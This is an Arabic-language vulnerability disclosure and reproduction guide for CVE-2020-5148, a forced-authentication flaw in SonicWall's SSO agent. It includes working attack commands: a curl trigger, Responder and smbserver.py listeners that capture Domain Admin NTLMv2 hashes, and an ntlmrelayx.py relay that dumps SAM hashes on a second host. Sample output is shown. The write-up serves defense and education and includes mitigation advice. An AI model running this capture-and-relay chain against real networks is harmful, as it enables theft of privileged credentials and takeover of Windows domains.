
CVE-2020-5148 - مصادقة قسرية في وكيل SonicWall UTM SSO. يقوم الوكيل بفحص محطات العمل غير الموثوقة بصفة مسؤول المجال (Domain Admin)، لذا فإن طلب ويب صادر واحد ينتج عنه تجزئة NTLMv2 مميزة. النشرة الاستشارية SNWLID-2021-0003.
المصادقة القسرية في وكيل SonicWall UTM SSO
يحدد وكيل SonicWall SSO المستخدم خلف عنوان IP معين عن طريق فحص محطة العمل تلك باستخدام NetAPI (الافتراضي) أو WMI. وهو لا يتحقق من محطة العمل قبل بدء مصادقة NTLM، ويواصل الاستعلام عن العنوان نفسه طوال عمر الجلسة.
نظرًا لأن خدمة وكيل SSO تتطلب صلاحيات إدارية على كل محطة عمل وخادم تفحصه، فإنها تُنشر عمليًا بحساب Domain Admin. وبالتالي، يمكن لأي طرف غير مصادَق قادر على توجيه حركة مرور الويب عبر جهاز UTM أن يجعل حساب Domain Admin يصادق على مضيف من اختياره، ثم يلتقط تلك المصادقة أو يرحّلها.
نُشرت باسم CVE-2020-5148، مع نشرة أمنية من البائع SNWLID-2021-0003.
اكتشفها وأبلغ عنها Sedric Louissaint من Show Up Show Out Security.
| CVE | CVE-2020-5148 |
| المنتج | SonicWall UTM Appliance ووكيل SSO / Directory Services Connector |
| المتأثر | وكيل SSO 4.1.10.0؛ Directory Services Connector 4.1.17 والإصدارات الأقدم |
| أُصلح في | يسجّل NVD الإصلاح في Directory Services Connector 4.1.19 (انظر الملاحظة أدناه) |
| مواطن الضعف | CWE-287: مصادقة غير سليمة |
| CVSS 3.1 (NVD) | 8.2 عالية CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
| CVSS (الباحث) | 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| تاريخ النشر | 2021-03-05 |
| اختُبر على | Microsoft Windows Server 2012 R2 Standard |
| المصادقة المطلوبة | لا شيء |
| نشرة البائع الأمنية | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
وصف NVD:
يستخدم التكوين الافتراضي لوكيل SonicWall SSO بروتوكول NetAPI لفحص عناوين IP المرتبطة في الشبكة، وتتيح طريقة فحص العملاء هذه لمهاجم محتمل التقاط تجزئة كلمة المرور

تشير التعليقات إلى ما يستبعده مخطط البائع:
تتطلب خدمة وكيل SSO صلاحيات مسؤول على جميع محطات العمل والخوادم المرتبطة بها حتى تتمكن من تنفيذ الاستعلام من الأساس. وهذا يعني عمليًا في كل بيئات النشر أن حساب الخدمة هو Domain Admin.
ولذلك، فإن بيانات الاعتماد التي تُسلَّم إلى مضيف غير موثوق هي الحساب الأعلى صلاحية في الدليل.

لا يوجد أي كود استغلال. يكفي أي طلب ويب صادر من قطاع يتعامل معه الجهاز:
curl sonicwall.com

عنوان URL غير مهم ولا يحتاج الطلب إلى النجاح. يرصد الجهاز حركة مرور قادمة من عنوان IP غير معروف، ويطلب من وكيل SSO تحديد هوية المستخدم هناك، ثم يصادق الوكيل على ذلك العنوان.
مع تشغيل Responder أو smbserver.py في وضع الاستماع، تصل مصادقة NTLMv2 من الوكيل من تلقاء نفسها، وتستمر في الوصول بسبب سلوك الاستعلام الدوري:
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash : ...

كسر كلمات المرور (Cracking) اختياري. حيثما لا يكون توقيع SMB مفروضًا، يمكن ترحيل المصادقة مباشرة إلى مضيف مختلف، يتعامل بعدها مع الاتصال على أنه الحساب المتميز الذي يبدو عليه:
ntlmrelayx.py -t <target> -smb2support -of <output>
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

تُثار المصادقة بطلب ويب غير مصادَق وتُستهلَك على جهاز مختلف تمامًا، وهو ما يمثل التجاوز الكامل لقوائم التحكم في الوصول (ACL) الموصوف في النشرة الأمنية.
في مختبر تملكه أو مخوَّل لك اختباره، مع جهاز UTM مهيأ لـ SSO ووكيل SSO يستخدم طريقة فحص العملاء الافتراضية NetAPI:
sudo responder -I <interface>
# or
sudo smbserver.py c . -smb2support
curl sonicwall.com
ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
التسلسل الكامل للأوامر موجود في poc/repro.sh.
poc/
repro.sh Listener, trigger and relay commands, commented, safe to read first
notes.md Why NetAPI triggers this, what WMI changes, detection guidance
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png
أسماء المستخدمين والتجزئات والعناوين الداخلية في اللقطات إما محجوبة أو من المختبر الأصلي.
administrator بتسجيل الدخول عبر خدمة وكيل SSO أو وحدة تحكم المجال (DC) أو خادم Exchange أو الخادم الطرفي. وحيثما يجب أن يبقى الحساب متميزًا، استخدم كلمة مرور طويلة بما يكفي بحيث لا يكون كسرها دون اتصال بالشبكة أمرًا واقعيًا، عشرون حرفًا أو أكثر، ولا تُعَد استخدامها أبدًا.| التاريخ | الحدث |
|---|---|
| 2020 | اكتُشفت وأُبلغ بها SonicWall |
| 2021-03-05 | نُشرت CVE-2020-5148 والنشرة الأمنية SNWLID-2021-0003 |
نُشرت بعد إفصاح البائع، للاستخدام الدفاعي والتعليمي. لا يوجد كود استغلال هنا لأنه لا يُطلب أي كود، وهذه هي النقطة الأساسية في هذا الاكتشاف. لا تشغّل هذه الأوامر ضد شبكات لا تملكها أو ليس لديك إذن كتابي لاختبارها.